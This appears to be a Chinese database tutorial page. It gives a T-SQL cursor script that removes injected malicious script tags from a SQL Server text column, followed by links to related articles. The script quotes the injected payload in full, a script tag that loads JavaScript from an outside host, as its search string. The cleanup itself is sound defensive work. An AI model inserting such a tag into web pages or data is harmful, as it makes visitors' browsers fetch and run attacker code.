除MSSQL数据库text字段中恶意脚本的删方法

所属分类: 数据库 / MsSql 阅读数: 1479
收藏 0 赞 0 分享
方法很简单:text字段不能使用Replace,所以使用patindex
复制代码 代码如下:

-select * from Product where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%'
--text字段的替换处理示例--全表替换
-- select datalength(P_Intro),* from Product
--邀月 整理
--定义替换的字符串
declare @s_str nvarchar(4000),@d_str nvarchar(4000)
select @s_str='<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>' --要替换的字符串
,@d_str='' --替换成的字符串


--因为只能用patindex,所以对于搜索字符串做处理
set @s_str='%'+@s_str+'%'

--定义游标,循环处理数据
declare @id bigint
declare #tb cursor for select P_ID from Product where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%'
-- where P_ID=300727 ----where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%'
open #tb
fetch next from #tb into @id
while @@fetch_status=0
begin
--字符串替换处理
declare @p varbinary(16)
,@p1 int,@p2 int
,@rplen int,@step int,@len int

select @p=textptr(P_Intro)
,@rplen=len(@s_str)-2
,@step=len(@d_str)
,@p1=patindex(@s_str,P_Intro)
,@len=datalength(P_Intro)
,@p2=0
from Product
where P_id=@id

while @p1>0
begin
set @p2=@p1+@p2-1
updatetext Product.P_Intro @p @p2 @rplen @d_str
select @p2=@p2+1,@p1=patindex(@s_str,substring(P_Intro,@p2+1,@len))
from Product where P_ID=@id
end
fetch next from #tb into @id
end
close #tb
deallocate #tb

--显示结果
---- select datalength(P_Intro),* from Product
更多精彩内容其他人还在看

SQL Server评估期已过问题的解决方法

这篇文章主要为大家详细介绍了SQL Server评估期已过问题的解决方法,感兴趣的小伙伴们可以参考一下
收藏 0 赞 0 分享

sqlserver还原数据库的时候出现提示无法打开备份设备的解决方法(设备出现错误或设备脱)

今天在恢复数据库的时候,因为是异地部分还原,出现提示 无法打开备份设备 E:\自动备份\ufidau8xTmp\UFDATA.BAK 。设备出现错误或设备脱,这里分享一下解决方法,需要的朋友可以参考一下
收藏 0 赞 0 分享

SQL数据库存储过程示例解析

这篇文章主要针对SQL数据库存储过程示例进行解析,感兴趣的小伙伴们可以参考一下
收藏 0 赞 0 分享

SQL Server 2012 安全概述

这篇文章给你概括介绍了SQL Server 2012里的基本安全概念。你学到了一些常见的数据威胁,探寻了SQL Server背后的设计理念,学习了在整个系列文章看到的一些安全术语,算是一篇比较非公式化的开篇,希望能够勾引起大家对于sql安全的兴趣
收藏 0 赞 0 分享

探讨select in 在postgresql的效率问题

这篇文章主要介绍了探讨select in 在postgresql的效率问题 的相关资料,需要的朋友可以参考下
收藏 0 赞 0 分享

SQL Server 2012 身份验证(Authentication)

这篇SQL Server安全文章,我们学习了SQL Server里的多个验证选项。Windows集成身份验证是最安全的,但并不是都是可行的,微软多年来已经让SQL Server验证更加安全。
收藏 0 赞 0 分享

SQL性能优化之定位网络性能问题的方法(DEMO)

这篇文章主要介绍了SQL性能优化之定位网络性能问题的方法的相关资料,需要的朋友可以参考下
收藏 0 赞 0 分享

SQL Server 2016里的sys.dm_exec_input_buffer的问题

这篇文章主要介绍了SQL Server 2016里的sys.dm_exec_input_buffer的相关资料,需要的朋友可以参考下
收藏 0 赞 0 分享

SQL Server删除表及删除表中数据的方法

本文介绍SQL Server中如何删除表,如何删除表中的数据。在删除表数据时有delete和truncate两种方法,delete和truncate有什么区别呢
收藏 0 赞 0 分享

sqlserver 因为选定的用户拥有对象,所以无法除去该用户的解决方法

这篇文章主要介绍了sqlserver 因为选定的用户拥有对象,所以无法除去该用户,因为是附加数据库选择了与源服务器一样的用户导致
收藏 0 赞 0 分享
查看更多